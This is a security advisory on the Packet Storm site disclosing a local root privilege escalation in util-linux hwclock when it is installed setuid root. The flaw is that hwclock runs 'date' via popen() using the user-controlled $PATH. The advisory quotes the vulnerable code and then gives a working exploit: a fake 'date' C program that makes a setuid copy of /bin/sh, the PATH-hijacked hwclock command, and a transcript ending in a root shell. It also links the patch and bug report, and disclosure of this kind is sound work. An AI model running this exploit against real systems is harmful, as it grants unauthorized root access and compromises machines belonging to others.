exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hwclock Privilege Escalation

hwclock Privilege Escalation
Posted May 27, 2015
Authored by Federico Bento

hwclock on Linux, when setuid, allows for local root-level privilege escalation.

tags | exploit, local, root
systems | linux
SHA-256 | 4246d26ca5258f5c8cc8caae6c6deb68ddb424b7c5857ee3b48514365d5cf9e1

hwclock Privilege Escalation

Change Mirror Download
Hello,

During a recent assessment I have stumbled across a system which had
hwclock(8) setuid root

hwclock is a part of util-linux, all versions affected

$ man hwclock | sed -n '223,231p'

Users access and setuid
Sometimes, you need to install hwclock setuid root. If you
want users other than the superuser to be able to display the clock
value using the direct ISA I/O
method, install it setuid root. If you have the /dev/rtc
interface on your system or are on a non-ISA system, there's probably
no need for users to use the
direct ISA I/O method, so don't bother.

In any case, hwclock will not allow you to set anything unless
you have the superuser real uid. (This is restriction is not
necessary if you haven't
installed setuid root, but it's there for now).

http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041

"The program is designed to run setuid superuser, since we need to be able
to do direct I/O. (More to the point: we need permission to execute the
iopl() system call). (However, if you use one of the methods other than
direct ISA I/O to access the clock, no setuid is required)."

http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920

"program is designed to run setuid (in some situations)"


Some comments in code and unfortunately also man page
advertising that setuid is no problem. That's pretty stupid promise.


from util-linux/2.26.2-5/sys-utils/hwclock.c
http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748


/* Quotes in date_opt would ruin the date command we construct. */
if (strchr(date_opt, '"') != NULL) {
warnx(_
("The value of the --date option is not a valid date.\n"
"In particular, it contains quotation marks."));
return 12;
}

sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
date_opt);
[...]

date_child_fp = popen(date_command, "r");

[...]

hwclock uses popen() to date_command which is 'date --date=\"%s\"
+seconds-into-epoch=%%s'

Exploiting is trivial, since $PATH is user-controlled



$ ls -l /usr/sbin/hwclock
-rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
$ cat > date.c;gcc date.c -o date
main()
{
chown("/tmp/sploit", 0, 0);
chmod("/tmp/sploit", 04755);
}
^D
$ cp /bin/sh /tmp/sploit
$ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
hwclock: The date command issued by hwclock returned unexpected results.
The command was:
date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
The response was:

hwclock: No usable set-to time. Cannot set clock.
$ /tmp/sploit
# id
euid=0(root) groups=0(root)


*Insert CVE Request here*


Notes:

Please note that this is possible on Debian-derived (and therefore Ubuntu),
because /bin/sh is provided by dash which does NOT make use
of privmode (does not drop privileges if ruid != euid, unlike bash),
which is a very stupid idea.

privmode is surprisingly effective at mitigating some common vulnerability
classes and misconfigurations, and it has been around since mid 90's.
Indeed, Chet Ramey (bash author and maintainer) explains that the
purpose of this is to prevent "bogus system(3)/popen(3) calls in
setuid executables"


TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
command, meaning privilege escalation can occur since $PATH is
user-controlled.


Patches are available, signed off by Karel Zak <kzak@redhat.com>
https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1

Initial bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804


Thanks,
Federico Bento.

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close